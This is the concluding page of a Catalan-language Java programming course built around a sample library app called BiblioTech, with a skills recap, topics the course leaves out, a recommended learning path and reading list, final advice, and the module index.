Llenguatge. Escrius Java 21 idiomàtic: col·leccions i streams amb soltesa, genèrics amb comodins, Optional sense abusar-ne, record i sealed on aporten, pattern matching, java.time amb rellotge injectable. Entens què passa per sota: l'esborrat de tipus, la càrrega de classes, la memòria, el GC i per què cal mesurar abans d'optimitzar.
Disseny. Apliques SOLID amb exemples, no de memòria. Reconeixes i fas servir els patrons quan resolen un problema real, i —el que costa més— saps no fer-los servir quan no el resolen. Dissenyes arquitectures per capes i hexagonals, saps on va cada responsabilitat, i fas servir les eines perquè les fronteres es compleixin soles.
Ecosistema. Manegues Maven multimòdul, Spring Boot amb injecció de dependències, configuració per perfils i AOP, JPA/Hibernate inclosos els problemes reals (N+1, càrrega mandrosa, bloqueig optimista), Jackson, SLF4J i les llibreries que convé no reinventar.
Qualitat. Escrius proves al nivell correcte, amb dobles quan toca i base de dades real quan importa. Interpretes la cobertura sense enganyar-te, saps que les proves de mutació mesuren el que la cobertura no pot, refactoritzes amb xarxa, i pots desenvolupar guiat per proves quan el problema ho demana.
Operació. Contenidoritzes correctament, configures la JVM per a un contenidor, versiones l'esquema amb migracions compatibles cap enrere, fas desplegaments sense tall de servei amb tornada enrere, i muntes una canonada que verifica, construeix, publica i desplega.
Producció. Protegeixes una API amb autenticació i autorització, coneixes les vulnerabilitats comunes i la seva prevenció concreta, instrumentes mètriques tècniques i de negoci, correlaciones registres amb traces, i escrius alertes que algú atendrà en lloc d'ignorar.
I una competència que no apareix en cap llista de requisits i val més que totes: saps per què les coses són com són. Saps què fa Spring per sota perquè vas escriure un contenidor de dependències a mà. Saps què fa un servidor web perquè en vas escriure un amb sockets. Saps què fa @Transactional perquè vas escriure proxies dinàmics. Quan alguna cosa falli d'una manera que no és a cap tutorial, tindràs on mirar.
Què NO cobreix aquest curs
Ser honest sobre els límits forma part d'ensenyar bé. Aquestes són àrees importants que aquest curs no cobreix i que mereixen estudi propi:
| Àrea | Què és | Per on començar |
|---|---|---|
| Kotlin | Llenguatge modern de la JVM, interoperable amb Java. Estàndard a Android | Kotlin in Action; la documentació oficial |
| Android | Desenvolupament mòbil sobre la JVM: cicle de vida, Jetpack Compose | Documentació per a desenvolupadors d'Android |
| Programació reactiva | WebFlux, Project Reactor: model no bloquejant per a molt alta concurrència | Reactive Spring; i valorar abans si els fils virtuals ja resolen el teu cas |
| Microserveis i missatgeria | Kafka, RabbitMQ, sagues, consistència eventual, malla de serveis | Building Microservices de Sam Newman |
| Big data | Spark, Flink, processament distribuït | Designing Data-Intensive Applications |
| Arquitectura de dades | Modelatge avançat, particionat, CQRS, event sourcing, data warehouse | Designing Data-Intensive Applications, un altre cop |
| Seguretat avançada | Criptografia aplicada, OAuth2 i OIDC complets, anàlisi forense | OWASP Testing Guide; formació específica |
| Rendiment profund | Perfilat avançat, ajust del GC, optimitzacions del JIT | Optimizing Java; JVM Anatomy Quarks |
| DDD estratègic | Contextos delimitats, llenguatge ubic, mapes de context | Domain-Driven Design d'Eric Evans; Learning DDD de Vlad Khononov |
Ruta d'aprenentatge recomanada
Ara mateix (aquesta setmana):
- Construeix alguna cosa teva. No segueixis un altre tutorial. Tria un problema que t'importi —un gestor de despeses, un seguidor d'hàbits, una eina per a la teva feina— i fes-lo amb el que saps. Et trobaràs amb decisions que cap curs no planteja, i és aquí on s'aprèn de debò.
- Torna a BiblioTech i afegeix-hi alguna cosa: els informes en PDF, l'app de consola amb més ordres, la interfície web amb Thymeleaf. Tens l'arquitectura; fes-la servir.
Els pròxims tres mesos:
-
Llegeix aquests tres llibres, en aquest ordre:
- Effective Java, Joshua Bloch. Noranta elements sobre com escriure Java correctament. És el llibre que tot desenvolupador Java hauria d'haver llegit, i el que dona nom al «Java Eficaç» que has estat prestant durant dotze mòduls.
- Clean Code, Robert C. Martin. Amb esperit crític: no tot el que diu és inqüestionable, i el debat que genera forma part del seu valor.
- Refactoring, Martin Fowler. El catàleg de transformacions segures. Complementa perfectament el que s'ha vist a 12-05.
-
Llegeix codi aliè. Clona Spring Boot, o una llibreria que facis servir, i llegeix com està feta. Al principi serà incòmode; en un mes serà la manera més ràpida que tens d'aprendre.
-
Segueix els JEP (JDK Enhancement Proposals) a openjdk.org/jeps. És on es decideix el futur del llenguatge, i llegir-los et dona mesos d'avantatge.
Els pròxims sis mesos:
-
Contribueix a un projecte de codi obert. Comença per documentació o per incidències etiquetades com a good first issue. Rebràs revisions de codi de gent amb més experiència, que és el millor aprenentatge que existeix i, a més, gratis.
-
Aprofundeix en una especialitat, la que t'atregui: dades, arquitectura, seguretat, rendiment, plataforma. Ser bo en tot no existeix.
-
Ensenya el que saps. Escriu sobre el que aprens, explica-ho a algú, fes una xerrada interna. No hi ha manera més eficaç de descobrir el que no acabes d'entendre.
Recursos de referència permanent:
| Recurs | Per a què |
|---|---|
| docs.oracle.com/javase | La documentació oficial de Java. Llegeix-la; és millor del que la gent es pensa |
| spring.io/guides i la seva referència | Spring, de primera mà |
| openjdk.org/jeps | El futur del llenguatge |
| Baeldung | Tutorials pràctics de qualitat |
| InfoQ | Tendències i arquitectura |
| Stack Overflow | Per buscar, no per copiar sense entendre |
Un consell final
Quatre coses, i són les que separen algú que programa en Java d'algú que és bon desenvolupador.
Llegeix codi. Passaràs molt més temps llegint que escrivint: codi aliè, codi teu de fa sis mesos, codi de llibreries. Llegir bé és una habilitat que s'entrena, i gairebé ningú no l'entrena expressament. Comença avui.
Escriu codi. Cap quantitat de lectura no substitueix haver-ho fet. Els conceptes d'aquest curs —la inversió de dependències, el patró Decorador, la frontera d'errors— no s'entenen de debò fins que els has aplicat i t'hi has equivocat. Equivoca't en projectes teus, que és on surt barat.
Mesura abans d'optimitzar. És la lliçó de 10-07 i val per a tota la resta. La teva intuïció sobre què és lent, sobre què es trenca, sobre què fan servir els usuaris, és sistemàticament errònia. Mesura, i decideix amb dades. I també a l'inrevés: no deixis de mesurar després, perquè un sistema que ningú no observa es degrada sense que ningú no se n'adoni.
No deixis d'aprendre. Quan vas començar aquest curs, Java 21 era la LTS actual. D'aquí a tres anys en serà una altra, i hi haurà coses al llenguatge que avui no existeixen. Els frameworks canviaran, les eines canviaran, les pràctiques canviaran. El que no canvia és el fons: separar responsabilitats, fer explícites les dependències, no repetir coneixement, provar el que importa, mesurar abans de decidir, i escriure codi que la persona següent pugui entendre. Això és el que t'endús d'aquí, i serveix en qualsevol llenguatge.
Una darrera observació, que potser és la més útil de totes.
Durant dotze mòduls, BiblioTech ha anat i vingut: s'ha reescrit, s'ha refactoritzat, s'han llençat decisions que semblaven bones —el sealed de Material, el CSV, el contenidor de dependències casolà, el java.util.logging— i s'han substituït per altres de millors. En cap moment això no va ser un fracàs. Era el procés.
El programari real es fa així: decisions raonables amb la informació disponible, que més endavant es revisen amb informació nova. Un desenvolupador amb experiència no és algú que encerta a la primera; és algú que ha après a construir sistemes que es poden canviar quan es descobreix que la primera decisió no era la correcta.
Això és exactament el que has estat fent.
Ara ves a construir alguna cosa.
Curs de Programació en Java
Mòdul 1: Introducció a Java
- Introducció a Java
- Configuració de l'entorn de desenvolupament
- Sintaxi i estructura bàsica
- Variables i tipus de dades
- Operadors
- Entrada i sortida per consola
- El teu primer programa complet: BiblioTech
Mòdul 2: Flux de control
- Sentències condicionals
- Bucles
- Sentències switch
- Break i continue
- Depuració i traces d'execució
- Projecte: menú interactiu de BiblioTech
Mòdul 3: Programació orientada a objectes
- Introducció a la POO
- Classes i objectes
- Mètodes
- Constructors
- Herència
- Polimorfisme
- Encapsulament
- Abstracció
- La classe Object: equals, hashCode i toString
Mòdul 4: Programació orientada a objectes avançada
- Interfícies
- Classes abstractes
- Classes internes
- Classes anònimes
- Expressions lambda
- Interfícies funcionals i referències a mètodes
- Enumeracions i registres
Mòdul 5: Estructures de dades i col·leccions
- Arrays
- El framework de col·leccions
- ArrayList
- LinkedList
- HashMap
- HashSet
- Cua i Deque
- Pila
- Ordenació i cerca en col·leccions
Mòdul 6: Gestió d'excepcions
- Introducció a les excepcions
- Bloc try-catch
- Throw i throws
- Excepcions personalitzades
- Bloc finally
- Try-with-resources i AutoCloseable
- Estratègies de gestió d'errors i logging
Mòdul 7: Entrada/sortida de fitxers
- Lectura de fitxers
- Escriptura de fitxers
- Fluxos de fitxers
- BufferedReader i BufferedWriter
- Serialització
- L'API NIO.2: Path i Files
- Formats d'intercanvi: CSV i Properties
Mòdul 8: Multifil i concurrència
- Introducció al multifil
- Creació de fils
- Cicle de vida d'un fil
- Sincronització
- Utilitats de concurrència
- Col·leccions concurrents i variables atòmiques
- Tasques asíncrones amb CompletableFuture
Mòdul 9: Xarxes
- Introducció a les xarxes
- Sockets
- ServerSocket
- DatagramSocket i DatagramPacket
- URL i HttpURLConnection
- El client HTTP modern
Mòdul 10: Temes avançats
- Genèrics
- Anotacions
- Reflexió
- Característiques de Java 8: Streams i Optional
- Dates i hores amb java.time
- Java 9 i més enllà
- Memòria, recol·lecció de brossa i rendiment
Mòdul 11: Frameworks i llibreries de Java
- Introducció als frameworks de Java
- Spring Framework
- Hibernate
- JUnit
- Maven
- Proves avançades amb Mockito
- Llibreries essencials de l'ecosistema
